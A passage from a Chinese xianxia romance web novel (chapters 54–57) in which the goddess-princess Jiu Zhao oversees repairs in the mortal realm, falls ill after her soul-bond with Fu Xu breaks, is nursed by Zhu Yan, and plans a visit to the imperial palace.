作恶堕入焚业海的妖魔更不必提,虽然相比修仙,堕魔几乎没有难度,但他们的寿数本就短暂,至多千年,唯有实力媲美上神的顶尖者,才能享受近乎无穷的寿数。 …… 九昭初次下凡,由渡引仙君带领。 一路上,他为九昭讲述了一遍芸生世的大致风土人情。 渡引仙君又告诉她,三清天在芸生世有个据点,名义上收售各类奇珍异宝,名为“壶天”。由一位地仙和一位金仙常年驻守,除了接引安顿三清天来客,保护下凡历劫的神仙命数不被人为破坏以外,就是监视焚业海的妖魔们在人间的动向。 将九昭一行人带到壶天珍宝斋前,渡引仙君便原地消散回天上复命了。 幸而芸生世本就存在修行者,周围的人也见怪不怪。 “咳咳!” 绛玉发出两声响亮的咳嗽,不多时,楼内传来轰隆隆的脚步声。两位临时得到消息,还在忙着收拾屋子的驻守仙官连滚带爬冲了出来,见到九昭立即长揖行礼:“见过殿——” 想到芸生世也有人族皇朝,也有被尊称殿下的王公贵族,为避免误会,九昭打断道:“殿什么殿,本、我好久不来店里视察生意,你们连叫小姐的规矩都忘了?” “啊、对、对对,小姐——” 活成人精的驻守仙官们从善如流道:“离火,见过小姐。” “巽泽,见过小姐。” 站在门口寒暄终究奇怪。 初步告知名字后,驻守想一左一右,簇拥着九昭,殷勤将她引向了落脚的房间。 “小姐,您且看看三楼的房间布置喜不喜欢——” “有任何不满意的地方,您吩咐一声,属下们会立马为您更换!” 被挤到后面的绛玉与朱映交换眼神,一边撇嘴,一边十分哀怨地盯住前方取代了他们二人的位置,表现得格外热情洋溢的女金仙男地仙,心里默默骂了句“马屁精”。 …… 此后,壶天珍宝斋的整个三楼,都会是她在芸生世的住所。 粗略浏览一番,九昭只觉勉强能入眼。 她放出储物戒里的行李,叫朱映和绛玉开始收拾。 自己则同离火、巽泽来到见客的茶厅。 “好了,修复登天阶的那些人呢?” 九昭淡声开口,“今日我下界得匆忙,便不计较了,否则应是他们提前候我。” 离火连忙告罪,又笑着讨好:“小姐稍候,要不要先用杯茶?他们马上就来。” 话音刚落,原本空无一人的门外传来求见的叩门声。 54| 第54章 ◎“终究是断了。”◎ 厅门开合, 凡人装束的四道身影鱼贯而入。 队伍末端,九昭看见一张熟悉的秾丽面容,却是黑发黑眸。 祝晏。 他怎么在这里? 九昭会感到疑惑也不奇怪。修补登天阶需要耗费很多仙力, 但积攒的资历和赏赐的奖励相比付出又不是太多, 只能勉强算个不上不下的差事。 但话说回来,有总比没有好。诸如此类的吃力不讨好工作,一般都会分配给没有家世部族依仗的新晋金仙——单看站在祝晏前面,那对上九昭视线, 手脚不知往哪儿放的两女一男就知道。 下界一天,天上一年。 总要耽误不少修行的功夫。 九昭不是不清楚祝晏因实力出众和帮自己作证的缘故,早已成为了孟楚的眼中钉, 但修补登天阶的人员由四神王的辖地各出一名,不经过北神王的点头同意,祝晏也不会被发配到这里。 顿时,九昭心中多出一丝隐晦的同情。 不过想归想, 做归做, 她没有当着众人面表现出对于祝晏的熟识。 她抬手叫行礼的四仙起身, 照例叮嘱一番“殿下小姐”的称呼问题,而后公事公办地关心起差事进步:“登天阶你们可查看过了?受损情况如何?大概何时才能完全恢复如初?” “回禀殿、小姐, 阶面受损的几条裂痕虽从表象上看不甚严重, 但其中有一条,经过属下们的仙力查验, 裂纹已深入内里, 修复起来, 恐怕、有些、有些费时——” 九昭喜怒无常的恶名在外, 上至三清天众神, 下至芸生世驻守小仙无一不闻。就算近期风评有所好转, 这些第一次与神姬殿下面对面的金仙依旧有些战战兢兢,生怕一字不对触怒于她。 接连更换两人,汇报的言语都仿佛舌头打结一般磕绊,九昭本就不多的耐心告罄,她蹙起眉峰,直接发问:“费时是要费多久,直接明说就是——难道修得慢我还能吃了你们?” “至多、至多不会超过半年……” 按照天历计算,半年等于一百八十天。 修好登天阶之前,她这个督工不得擅离职守回到三清天。 也就是说,等她领着这几个金仙回去,上界已经过了一百八十年。 听起来似乎很漫长。 但漫长有漫长的好处,待她回去,与扶胥便是桥归桥,路归路。 九昭说服了自己,极力忽视发闷的心口,冲禀告的金仙点了点头:“时间多些少些,都无所谓,最重要的是将差事做得圆满。登天阶事关神仙飞升,对于三清天影响重大,不论查验还是修复,你们务必事事谨慎——当然,我虽担任督工,也不会一天到晚盯着你们不给喘息之机。等到差事完成时,只要你们没出差错,我自会上奏父神,在你们的功绩表上多记一笔。 “好了,若无其他事,你们就先下去。” 如此和颜悦色的态度。 敦促言辞也并非威胁而是鼓励。 再加上在影响升迁的功绩表上多记一笔,这样实打实的好处存在。 那得到消息,知晓上司是九昭神姬,原本在暗中叫苦不迭的金仙们闪了闪目光,再度行礼告退之际,声音中平添几分诚惶诚恐的感激:“谢过小姐,属下们定不会叫小姐失望。” “对了,祝晏仙君留步。” …… 九昭叫眼巴巴守在两边,还想再套套近乎的离火和巽泽一起出去。 大门打开复又关闭,将他们兼具好奇和失望的目光隔绝在外。 只剩下相熟的彼此,九昭勉力端起的神姬架子轰然倒塌。 她眉眼恹恹的,靠在室椅的扶手上喝了口热茶:“好巧,不招人待见的地方总能看到你。” 祝晏也不恼:“小姐,是好巧。” 九昭不喜欢被别人俯视,便叫青年隔着矮案跪坐在自己面前。 她漫不经心地打量他仙术变化后的眼瞳发色,听见祝晏十分自觉地解释:“凡人大部分为黑发黑眸,虽举世万物皆可成仙,但人族修士大多排斥异族,为了行走方便,臣才易容改色。” 绝顶的美人,哪怕掩去身上所有颜色,依旧叫人移不开眼睛。 如凝墨一般的鸦发黑眸,为祝晏本就华美的五官平添几分英气和内敛。 只是九昭心情低落,多看两眼便失去了欣赏的兴致:“我还好奇前些日子瀛罗的生辰宴上北神王的所有子女都来了,怎么唯独少了个你,原来是被发配来了这芸生世。” “听闻生辰宴上瀛罗宗姬改了性别,还被西神王正式立为世子。” 祝晏顺着她的话锋开启闲谈,“小姐可知瀛罗宗姬为何不愿再做女子,明明神王储的位置与性别无关,就算她保持原样,按照出色的程度,迟早也会被立为世女。” 朱晏的话本是等待九昭答疑,却引发了她的走神。 说一千道一万。 终究是因为“滢罗”变成了“瀛罗”,才会彻底引燃她同扶胥间的导火索。 若瀛罗不是男子。 若她从未跟瀛罗和好—— 是不是结果就不会变成这样? 九昭并未察觉无论何事总会被她下意识地和扶胥联系在一起,内心深处某道声音微弱地提醒着她,把事情迁怒到别人身上不对。但她还是怨起了瀛罗,接着,又怨起说到性别话题的祝晏。 她的语调陡然坚硬起来,冷冷道:“你一个自身尚且难保的庶子,关心别人的家务事干什么?怎么,倘若瀛罗仍是女子,你还娶她不成?真是痴心妄想!” “属下没有这个意思——” 九昭抢白道:“有没有你自己心里最清楚,不过也真可笑,你到底做了什么才会这么招北神王不待见,这种有点头脸的世家部族都不愿意干的活,北神王却派你来干——你可知修补登天阶消耗的仙力,哪怕你回到三清天连续闭关五百年,都不一定能养得回来。” 噼里啪啦一顿输出。 直至九昭发泄完闭了嘴,祝晏才好脾气地笑了笑:“小姐前面才说过时间多少不重要,最重要的是全心全意把差事完成。属下认为小姐的想法很对,既来之则安之,凡事无愧于心就好。” “真是个怪人。” 九昭讽刺他,“不过除了自欺欺人,你也做不了什么了吧?” 这句话出口,她又忽然意识到自己的失言。 有时候,和人说话就像照镜子。 嘲笑祝晏无力改变现状,她又何尝不是? 趁着扶胥还没签下断契书,忙不迭地答应父神接了差事,转眼来到芸生世——说到底她如此雷厉风行,原因只是害怕自己真的感受到体内的那一抹联系彻底断开,会崩溃地哭出声音。 九昭的表情变了又变。 直到祝晏若无其事地转移话题:“小姐指责,属下受教,一定会努力改变现状。 “但高山并非一日一月就能垒成,改变也无法在顷刻间发生。小姐既来到芸生世,不妨先四处逛逛,放松一下心情。属下在几千年前曾担任过壶天珍宝斋的驻守仙官,对此间的风土人情有些许了解,若小姐不嫌弃,闲时属下愿伴您策马同游。” 祝晏的话点醒了九昭。 自己这个督工,本就是父神希望能够换个地方缓解心情才封的。 下凡待在此处,脑子里仍旧一刻不停地设想和扶胥有关的一切,又有什么意义? 九昭犹豫着要不要答应,随口道:“你还做过芸生世的驻守仙官……?” “芸生世为下界,仙力稀薄,无法支撑神仙修行,若长时间委派同一人驻守,无异于断了他的进寸之路,难免有违天令崇尚的公允之道。所以帝座继位时便下令,驻守仙官的职务改为两人同时担任,一千年一换,相当于在芸生世驻守三年左右便能返回三清天。” 祝晏只是照本宣科一般的作答,并不强调自身成为驻守仙官的原因。 有他博闻强识在前,九昭有些汗颜自己对于三清天政务的一问三不知。 这样算起来,这个差事简直比修补登天阶还要不如,一千年无法回到三清天,不仅意味着修为要落后昔日的同伴,就连物是人非的陌生感都够人喝一壶。 难怪初见面离火和巽泽要如此热情巴结,多半是为了讨得她的喜欢,好早点回到天上。 当自己这头都被无数烦恼缠绕时,九昭越发满意起祝晏这等从不给人添麻烦的性格。 她想了想,既然要纾解心情,就得做些排遣的计划,朱映和绛玉没来过人间指望不上,祝晏三番五次帮过自己,且品格端正,不像是那等需要防备的小人,有他同游解闷,也还算不错。 “那就这样吧。” 她颔首表示同意,又忍不住再逞一次口舌之快,“也对,在人间没旁人能瞧见你的努力,还不如留着心思讨好我这个督工,届时在父神面前替你美言几句,不必再受那个傻瓜孟楚的气。” …… 壶天珍宝斋的三楼被九昭占据,一楼做买卖,二楼是四仙的住处。 一日修补,三日无事,难得下凡来的神仙们多半会出门,去见识见识天上没有的乐趣。 唯有祝晏接了陪九昭散心的任务,回屋制订起计划。 在人间的一日过得很快,同下属说完话,安顿好包袱行李,转眼便到了晚上。 九昭倚在支起的窗棂前,望着夜空皎洁的明月,忽觉三清天已是一年。 那封命缃璧送去的笺犊上,写着扶胥已然恢复神境,额头符咒便无需自己处理。 要销毁还是要如何,都请便。 连她和扶胥最后一次的交流,竟也充满了幼稚和外强中干的心思。 九昭出神地想着,过往她靠在扶胥耳畔,窃笑告知解咒诀为“九昭九昭我爱你”时的场景。 右腕上的血管却忽然一痛。 抬起手臂查看,一条鲜艳如血的红光自青紫脉络中无声浮现。 在眼前停滞片刻后,竟自动断裂消解。 九昭一愣,目光随即似哭似笑—— 她和扶胥的契阔诀,终究是断了。 55| 第55章 ◎“为了我,昭昭也要赶快好起来才行。”◎ 所谓断契, 便是将扎根在彼此命脉中的元神之结解除。 扶胥的决定来得太快,快到九昭猝不及防。 那如同月老红线一般,将两人绑定在一起的契阔结断裂带来的冲击, 一下子造成体内仙力短暂紊乱, 再加上心情骤悲骤痛,得不到纾解,当晚,九昭便病倒了。 她高烧发得浑身滚烫, 吓坏了朱映和绛玉,偏偏芸生世的凡人丹药又对神仙体魄无用。 彼时在离恨天,尚有一堆医术精湛的仙官日常待命, 轮不到朱映和绛玉操心这些事,是而他们并不精通此道,且非木系,施起治愈术来效果甚微——如此几日, 颇有些束手无策的意思。 他们私下商量起要不要禀告三清天, 好接九昭回天上治疗。 然而未曾商量出头绪, 此事便被制定完出游计划,敲门前来汇报的祝晏得知。 他望着床榻上九昭昏沉的面孔, 做出关心姿态, 主动请缨:“我自幼向往医道,曾跟随侍奉神王邸的医官长学习过一段时日。若二位姑娘不介意, 可否让我试试?” 纵使帮助过九昭, 祝晏到底是北境的人。 朱映皱眉欲拒:“殿下千金贵体, 仙君若无把握还是——” 祝晏解释的姿态不卑不亢:“我会有此念头, 并非为了在殿下面前邀功逞强。 “请二位姑娘仔细想想, 殿下来到芸生世的时间尚不足两日, 若马上回到三清天中,光命渡引仙君打开仙凡之间的结界这一件事,就注定了无法掩人耳目。 “倘若传到众位神仙耳里,那些不知真相的,只会以为殿下心智反复,逃避差事。可就算知道真相,恐怕也会觉得殿下娇身冠养,吃不了苦,为着区区小病就乔张做致。 “更何况,殿下为何下凡,两位姑娘心里清楚,若不顾殿下的内心意愿,擅自将她带回三清天,待殿下病情恢复,清醒过来,只怕两位姑娘也免不了一顿责罚。” 祝晏的一番话娓娓道来,语调缓若春风。 却从九昭的性格、当下的实情,以及人心的猜度几个角度出发,直堵得朱映说不出来话。 片刻后,朱映拉住绛玉一同退到旁边,让出了九昭床前的位置。 “仙君尽力即可,切记不要逞强。” 祝晏并不在意朱映让步时,带着几分忌惮和审视的言语。 他趁着九昭昏睡,防御松懈,浅浅输入一丝仙识检查病因,又从绛玉口中问清这几日的治疗过程,抚袖沉吟:“朱映姑娘为火系,而绛玉姑娘为土系,恰好是最不适合治疗此病的两系。若有水系和木系医官在此,一个施术降低体温,一个结阵□□仙力,想来不出三五日便能痊愈。” “那我立刻去把修复登天阶的水木二仙找来——” 绛玉是个行动派,想到合适的人选,拔腿就要往外走。 一只滚烫的手从锦被中探了出来,抓住她的衣摆:“不许去,他们、他们自有差事……” 九昭仍然闭着眼,浑身上下的血色仿佛都集中到了面孔,其他均是凝雪一般的苍白,唯独两颊映出不正常的酡红。绛玉看得心疼无比,忍不住辩驳道:“登仙阶哪及您重要!” 高烧化去了九昭所有的力气。 一句话后,她又昏昏倦倦失去意志,只是阻拦绛玉的手执意不肯放开。 无法,绛玉只能咬着下唇僵在原地。 祝晏亦为难道:“我生在北境,要想施展控温术倒不难,只是没办法同时完成结阵。” 唯我独尊的神姬殿下终于开始懂事,不愿拿自身的病情,去耽误影响整个三清天的差事。 朱映想,自己应该欣慰九昭的成长。 可事实是,他的心却怎么也高兴不起来。 他日夜陪伴在九昭身边,而九昭也常常对他分享内心的喜怒哀乐——九昭收敛骄矜任性,考仙试,求上进,昔日的刁蛮影子逐渐淡去,却是为了那个扶胥。 她变得越来越好。 那个可恶的扶胥却把她害成这样。 甚至连延医用药,都要顾忌他人口舌,只能勉强龟缩在这里,得不到好的治疗—— 扶胥不为九昭着想。 难道他这个九昭的身边人,也要为着某种不可说的原因弃她于不顾? …… 就在事情即将陷入滞涩之际,朱映缓缓抬起头来:“结阵之事,仙君交给我就行。” “朱映,你?” 这下,连绛玉也倍感意外。 她虽知晓朱映在身为统领仙官,掌管离恨天的大小事务外,更有着保护九昭安危的职责,但朱映日常表现出来的实力至多不过金仙水平,上神之下,要施展另外四系的高阶仙术谈何容易。 借助北境常年积雪,亲近水灵的得天独厚环境,祝晏也不过学会了控温术而已。 朱映真的……能行? 面对绛玉的担忧,朱映摆了摆手,没有解释原因:“事不宜迟,别的话等殿下好转再说。” …… 为维护三界稳定,祖神穹煌以创天道辖制四方。 天道判定,若逢仙魔下界,必被压缩修为。 纵使最高阶的天仙,能在芸生世施展的实力,至多跟顶尖的人族修士旗鼓相当。 修得圆满的上神和不死不灭的大魔,虽跳脱于天道轮回之外,不受压缩修为的道令拘束,但滥用力量影响因果,犯下杀业的后果更加严重,必将遭到天谴,魂飞魄散。 为着这个缘故,祝晏耗费了比平日多出三倍的力量,才勉强用控温术压制九昭体内肆虐的凤火。他施术的手指对准九昭灵台,时刻感知着伺机反扑的凤火动向,涔涔冷汗滑落额畔。 控温术虽降低了九昭身体的温度,但从她体内散逸出去的凤火,早已将房间熏成蒸炉。 仙阶低微,经受不住火焰煎熬的绛玉,在两个时辰前早已退了出去。 房内清醒的人只剩下祝晏和朱映。 相较于祝晏的吃力,朱映咬破手指,围绕九昭的床榻画出木系阵纹的动作却游刃有余。 他见祝晏面对越来越凶猛的凤火,尽管指尖抖颤,但仍能占据微弱上风,勾起唇角,皮笑肉不笑道:“仙君能够凭控温术压制殿下的涅槃凤火,便知实力早已超过金仙许多,想来若打算晋升天仙之位也非难事——这些年我却从未听说仙君参加天仙考核,当真是可惜。” 祝晏像是听不出来他的意外之意,回以澹然谦和的微笑:“哪里哪里,朱映仙官能够凭空施展木系的高阶阵法,又对殿下的凤火高热毫不畏惧,更让我心生敬意。” 两个各怀秘密的人,自然是不对盘的。 相互试探几句,无功而返后再度归于缄默。 又过了一炷香的时辰,朱映将所需的最后一丝力量注入其中,完成了需要维持三天三夜的阵法运作。他眯眼定定端详,见按照祝晏的做法,九昭确有好转的迹象,不动声色松了口气。 “仙官若还有余力,不妨将房间外围也附上一层禁制,以免凤火流窜出去伤害无辜百姓。” 祝晏又面带笑容,发起不容拒绝的请求。 朱映嘴角一抽。 想讽刺他一在室子与神姬殿下单独相处成何体统,冷不丁又想起引发九昭高烧不退的因由。 ……扶胥既然这么傲慢,看不起九昭捧上前的真心。 那九昭就算与其他男人相对,就算在断契的第二日立刻开启一段感情,又如何? 不知好歹的家伙。 等到爱人儿女成群,到时候再怎么追悔莫及也是一场笑柄! 出于对扶胥的责怪,祝映不冷不热横了还在笑的青年一眼,转身退了出去。 随着房门彻底关合,祝晏故作从容的表情立刻消散。 他用空闲的左手揩去额头的汗水,身形踉跄着寻到九昭床前的矮凳坐下。 已经两个时辰过去,他也有些体力不支。 但为了避免朱映讥讽,以及压下九昭的高热,仍在苦苦支撑。 身体距离拉近,祝晏陡然听到了那些断断续续,从九昭口中飘出的梦呓: “你,负了我……你们、都负了我…… “不会原谅,永远都不、原谅…… “为什么…… “好热,好冷…… “母神,母神,昭儿好疼,昭儿好想你……” 失恋和生病的双重打击,让梦境中的九昭心智倒退回了孩提的年纪。 她明艳的小脸整个皱在一起,老实说并不好看,但较飞扬跋扈的平素多出些脆弱的气息。 祝晏看了她一会儿,伸出手想感受一下肌肤的温度。 不知怎的,又偏过额头上移,轻柔地摸了摸她的发顶。 “睡吧,睡吧,一觉起来都会好的。” 他的动作像是在抚摸淋雨的猫咪,又像是在拂去易碎瓷器上的灰烬。 而那只温度偏低,带着爱怜意味的手,也成为了九昭新的依赖物。 混沌的记忆停留在扶胥暂居离恨天,他们偶尔会同床共枕的节点,九昭将手的主人当成了未曾决裂前的扶胥——生病被爱人照顾,哪怕再痛苦,都能够品尝到一丝甜蜜。 她喃喃唤了声扶胥,面孔贴上那只手,撒娇似地蹭了蹭。 “好热,你的身上好舒服…… “扶胥、扶胥,不许走,要永远陪着我…… “你答应过我的——” 祝晏无比平静地放任了她超出男女限度的亲昵。 被人当做替身,那种一成不变的自洽笑容,也不曾从他的面上褪去。 他反手小心翼翼地抚上九昭脸颊,指腹贴着细腻如玉的肌肤一寸一寸挪移。 到最后,他又不满足地将仙力附在喉头,古怪地挤压着嗓子。 再出口时,换上了扶胥的声音: “好,好,我就在这儿,哪也不去……为了我,昭昭也要赶快好起来才行。” 56| 第56章 ◎“所以,放弃你的真心吧。”◎ 九昭在做梦。 实际上, 神仙很少做梦。 但凡做梦,不是与执念相关,就是罕有的、假里藏真叫人无法参透的预知梦。 被兰祁悔婚, 成了顺风顺水的九昭人生里最大的执念。 这四千五百年来, 她的梦境每次出现,皆定格于大婚那天。 兰祁的每个动作,每句话语,用烈霄剑指向她时的每个表情变化。 九昭都记得一清二楚。 …… 可是现在, 她的执念梦里第一次闯进了别人。 这是一个场景人物不断变换,混乱不堪的梦。 时而是她和扶胥站在北境山谷的漫天风雪里,周围俱是得到自由, 飞散开来的极乐鸟。 扶胥背对着她,黑发黑衣,身形颀长,如同洁白画纸上晕染开的一滴墨迹。 他再也没有转头, 因此九昭只能凝望着他的背影。 他的声音很冷, 与周围的温度相较, 分不清哪个更寒人心。 风雪越发凌冽,几乎叫人迷失在着死寂的深谷里。 九昭瑟缩着以双臂拥紧自己, 分明唯一的热源就在前方, 却不敢上前去。 风啸声里,她听见扶胥唤了声她的名字。 说道:“都是因为你执迷不悟, 我们才会缘分已尽。” 九昭来不及回答。 时而画面迅速切换, 再度回到了大婚时的场景。 四周无人观礼, 天地唯余云端旷寂。 穿着婚服的兰祁没有拿剑, 他那张如同玉树立于兰庭的端秀面容, 甫一瞧见九昭现身, 立刻凑得很近。他温热的鼻息拂在九昭腮旁,笑盈盈地说着诛心言语。 “昭昭啊昭昭,如果你不是神姬殿下,你以为谁会爱你?” 这次,梦境终于给了九昭说话的机会。 她被二人的双重打击刺得瞳孔发红,几欲呕出一口血来:“我本来也不想当这个神姬,倘若失去了这层身份没有人会爱我,那就没有人好了——没有人爱我,我也不至于活不下去!!” “是吗?” 兰祁替她撩起被风雪吹乱的长发,轻轻发出一声嗤笑。 与此同时,一道青绿的神光乍现,扶胥无声无息地站在了兰祁身侧。 他黑漆漆的目光,翻涌起九昭过去无比熟悉的情绪。 那种情绪,叫看轻,叫俯视一团扶不上墙的烂泥。 过去,九昭总是避免将两人放在一起比较。 如今,他们同为一个阵营,并肩活生生地出现在她面前,她才发觉脱离一厢情愿的感情,回归残酷的现实,除了各异的相貌和躯体,他们的灵魂本质相差无几。 他们诘问着她,无论语调冰凉还是和煦: “你凭什么把话说得这么轻松? “你以为愿意当神姬与否,是由得自己选择的吗? “神帝唯有你一女,你若放弃,他只能从其他世家部族中挑拣合适人选承继。 “有神帝的庇护,你尚能不负责任安稳度日,可若来日神帝逝去,新帝登基,君王枕榻,岂容他人鼾睡——有你这个名正言顺的神帝血统在,难道新帝会安心?” 九昭在长烨学宫修习万余年,进益的唯有仙力术法,却对权术制衡一窍不通。 她不明白何为帝王无法摆脱的疑心,不明白何为宁可错杀不可误放的决绝。 她在兰祁和扶胥的逼问中节节后退,而他们仍然不肯放过她,“另外,自打出生到现在,你已经做了三万多年的尊贵神姬,你挥霍无度,放肆任性,享受着一人之下万人之上的权力—— “难道轮到担负起职责,就可以厚颜无耻地选择放弃? “食万民之奉,就须以血肉性命反哺于万民——” 他们不再温柔地唤着“昭昭”,抑或敬顺地称呼“殿下”。 他们站在她的对立面,仿佛与生俱来的仇敌。 九昭为他们的冒犯而愤怒,可每当心中想要反击,身体喉咙却像是被灌满浆糊风干了一般,站在原地动弹不得,只能被动地接受他们以言语为刃,挑开一层层自欺欺人的痂痕。 当她痛得说不出话,所有压抑心绪化作泪水,簌簌滑落眼眶时。 他们才微笑起来,一左一右满意地抹去她的泪水。 “有些地方,人一旦走上去,就下不来了—— “昭昭,你还不明白吗? “你可以为权力活着,为统治三清天活着,为坐稳最高处的位置而活着。 “但唯独不能为了爱,为自己活着。” …… “所以,放弃你的真心吧。” 泪水越擦越多,逐渐模糊眼前的整片世界。 困在心中的小人一遍又一遍地捶打着看不见的坚硬墙壁,通过她剧烈扩张的瞳孔,对两人不住高喊着:“我为什么要听你们的,你们算得了什么,都是跪在我脚边的臣子而已!!” 可喊到最后,九昭倏忽发现。 那道逐渐变厚,连声音都要消弭的透明墙壁,并不受两人控制,而源于她的内心。 承担责任,握住至高的权柄。 放弃真心吧。 放弃真心—— 便永远不会再伤心。 …… 九昭睁开眼睛。 被锐利如刀的言语扎进灵魂的刺痛感,仿佛仍然留存在脑海深处。 而同样触感明晰的,还有堆积在她眼梢,尚未滑落的温热泪水。 双目定定望着上方,她思考了好一阵,才明白执念梦里,那些真实的兰祁和扶胥未曾说过的话源自何处——他们是她内心墙壁的外部投射,是她连续经历情感和责任夹击后的自我怀疑。 那一声声令人无力招架的诘问,是她隐藏起来,不愿面对的现实。 在卸除所有防备的梦境里,她忍不住将其拾起。 感情、责任,孰轻孰重—— 自我的意志,又该何去何从? 持续了几天几夜的高热,终究在体内留下了后遗症,待九昭还要继续审视内心,那额头两侧的脉络突突跳痛起来,打断了她无处释放的情绪。 九昭想要施力捂住,双手却沉重到仿佛绑了千斤顽石,根本不听使唤。 上次大病一场,还是四千五百年前她为兰祁呕出心口血的那天。 九昭直挺挺地躺着,等待那股僵麻感消解,同房顶的椽木大眼瞪小眼半天,倏忽想起,曾经在学宫中听那些情窦初开的同修们叽叽喳喳聊天,说失恋就如同生病,感情不深的不过像是吹风着凉,咳嗽几天就会好。而感情太深的,想要痊愈,须得去掉半条命。 这场高烧确实去了她半条命。 可醒过来,九昭发现自己依然没有痊愈。 四肢的绵软依旧没有褪去,她艰难侧过头,想呼唤大概候在门外的朱映绛玉进来扶起自己。 可余光跃进一道黑发黑衣的安睡身影,那张脸向下遮在围起臂弯间,九昭只觉又生了错觉。 “扶——” 她情不自禁唤出那个梦里才出现过的名字,沙哑的嗓音却将那人惊醒。 青冠下的鸦发随着起身动作荡出一道摇晃的弧影,雪作的面孔在明暗对比中几近透明。 不同于扶胥的英朗俊挺。 那是一张叫人看过就不会再忘记的容颜。 九昭也不能免俗,因此更加怅然若失。 她的目光怔了怔,问道:“……怎么是你?” 祝晏精准捕捉到了这缕话里难掩的失望。 但他从来不做假设,也不会耿耿于怀九昭设想中的陪伴着会是何人。 残留困倦的桃花眼不过弹指恢复清明,他立刻端坐起来,顺手抚平被自己趴皱的床铺,轻声询问:“小姐醒了,眼下觉得身体如何?您接连几日未进水米,可要先喝杯茶润润?” 没过脑子的话语问出口,迟钝几息意识过来的九昭深觉不妥。 幸好祝晏没有多问什么。 她言简意赅地说了个“茶”字,就着祝晏的手啜饮几口。待喉咙里火辣辣的干涩缓解后,换了种更为妥当的语式:“怎么会是你在这里,朱映还有绛玉呢?” “小姐昏睡了五天,都是朱映姑娘和绛玉姑娘一步不离地守在床畔照顾,今天正好轮到我休息,看她们眼下乌黑,实在是支撑不住了,便代替她们来守一守。” 只是帮忙守一守,又怎会守到睡着。 九昭观他眼下,亦有两抹不小的青黑。 纵使神仙被压制修为,会和普通修士一样感到饿和累,也不至于这么脆弱。 她一向不喜欢分辩遮遮掩掩的言语,正想多问几句,脑海中忽然闪过前几日彻底昏迷过去前,三人模模糊糊传入耳朵的对话——看来是祝晏和朱映耗费了不少力量,才治好了自己。 又要忙着修复登天阶,空闲下来,还要额外消耗仙力。 难怪会累成这个样子。 明明看着很机灵,在做好事要不要留名的方面却犯起了傻。 这种付出十分,连一分都不肯说出来的性格也不知道是像谁。 当九昭选择正视神姬的位置,究竟给自己带来了什么好处时,她便不再认为旁人对她的善意皆是理所当然,她支起脖颈,勉力朝他颔首示意:“……谢谢你耗费了这么大的力气救我。” 微弱的惊讶,在祝晏平静如死水的心间投下石子。 这些日子不见,这位以自我为中心的神姬殿下,仿佛有什么地方不一样了。 祝晏试图准确分辨出究竟是哪里不一样,又听见她倚在床榻上,慢悠悠地发号施令:“不过,芸生世的出游计划还得做——待我病好了,在这死气沉沉的屋子里,可是一天都待不下去的。” 57| 第57章 ◎“我想去乾朝的皇宫看看。”◎ 好在九昭的底子不错。 躺在床上又休息了三天, 便已恢复活蹦乱跳。 没有哭天喊地,也没有表现出长时间的意志消沉。 从五天五夜的高烧中醒转,九昭的言行中再不见半点失恋的影子。 只是绛玉始终忘不了, 这些天替昏迷的九昭梳洗擦身时, 她口中吐露真心的断续梦呓。 您是神姬。 合该享有天底下最好的东西。 任何叫您不开心的人事,唯有他们痛苦忏悔的份,怎配叫您伤心。 心疼的言语徘徊在喉头心间,绛玉几次控制不住, 想要劝慰九昭,常被朱映拦下。 最后,他把绛玉拉到九昭看不见的地方, 冲她轻轻摇了摇头,告诫道:“有些事情,若主上不愿开口,你我看似好心的主动安慰, 反倒会容易戳中她们好不容易愈合起来的痛处。” …… 又过了一日。 九昭想起履行督工的职责, 去修复登天阶的现场瞧了瞧。 今日正在轮值的是位叫昼芙的金仙, 她悬浮空中,木系仙力缓缓弥合着玉阶裂处。 昼芙修复得仔细, 看到九昭来也没有停下手中的差事上前逢迎, 只口中尊称了声小姐。 放在旧日,九昭多半会觉得她对自己不够恭顺。 如今心境不同, 她反倒欣赏起对方做事的专注。 她浮在旁边看了片刻, 又从储物戒中取出下界前缃璧硬塞进来, 说是以备不时之需的两瓶滋补丹丸, 叮嘱朱映回去后分给大家, 也好叫他们补充补充损耗的仙力。 九昭脑子没那么多弯弯绕绕, 因此做这事时并不回避昼芙。 待昼芙想要表示感谢,她却没有留给她说话的机会,一闪身飞下了云间。 督工的职务就是这么朴实无华,又枯燥乏味。 抽出半炷香的时间视察一下,剩余大把空暇都可以拿来挥霍。 既然今日不是祝晏当差,九昭也就心安理得差使起了他。 她回去来到壶天珍宝斋的二楼,咚咚敲响他的房门。 相比其他几位爱动的金仙,祝晏十分好静,休息的日子里也时常待在房内。 不多时,大门打开,九昭透过他肩膀空隙,瞧见半敞窗台前放着一架古琴,一尊博山炉。 青桂香气从孔缝中缓缓渗透出来,叫人浮躁心绪立刻归于平宁。 “我想出去走走。” 九昭开门见山地说明来意。 祝晏亦不为她的不请自来感到局促,像是无论何时都做好了准备一般,从容捧出一本做笔记用的书册道:“京都的周边风景,还有整个乾朝知名的游览胜地,我都收集在了里面。” 芸生世兼顾皇室统治和道法修仙。 有祖神创天道,平衡仙、魔、修士和凡人四方力量在前,执掌人间的大乾皇朝君王又额外开设了一独立机构,名为万象宫,聚集各方修士大能,以护卫皇室威严和人间安宁。 壶天珍宝斋位于大乾皇宫所在的京都。 物阜民丰,紫气兴隆,周遭多秀美山水。 九昭信手翻开一页。 发觉白页上不仅有景观的名字、简介、方位,甚至还用画笔细细勾勒了山川江海的风貌。 笔触风流写意,如祝晏的人一般赏心悦目。 不过九昭早已想好了要去哪里,匆匆浏览几页,便将书册合上。 祝晏见微知意:“可是这些地方都不合小姐心意?” “我想去乾朝的皇宫看看。” “……?” 九昭拿出早就想好的说辞:“寻常风景三清天上有的是,我才不信芸生世会更好看到哪里去,倒是大乾的皇宫——我很好奇,这人间的皇帝同我父神相比,日常会有什么不同。” 显然,九昭的这个要求不太好满足。 斜长眉峰拢在一起,祝晏沉吟片刻,才同九昭商量,“可以是可以,我们可以用隐身术进去,但一定要遵守规矩。乾朝的皇宫是龙脉守护之处,稍有不慎触犯禁忌,容易引来天雷。” 九昭高兴起来:“那事不宜迟——” 祝晏却说了句“小姐稍等”,将手探进储物戒的光圈里,挑挑拣拣掏出两张符篆。 “这叫敛息符,是九尾狐族的宝物,每一千年才能制成一张,将它贴在掌心,可以彻底藏匿自身的气息,不过是一次性产物,只要从离开掌心,不管使用时间长短,都会立刻报废。” 九昭取过符篆来回翻看,见明黄符纸写满了用鲜红似血迹的晦涩篆文。 不同于她在长烨学宫中修习过的通用篆文,应当是九尾狐族独有的文字。 “既然符篆珍贵,又何必多此一举,横竖隐身术也能收敛气息。” 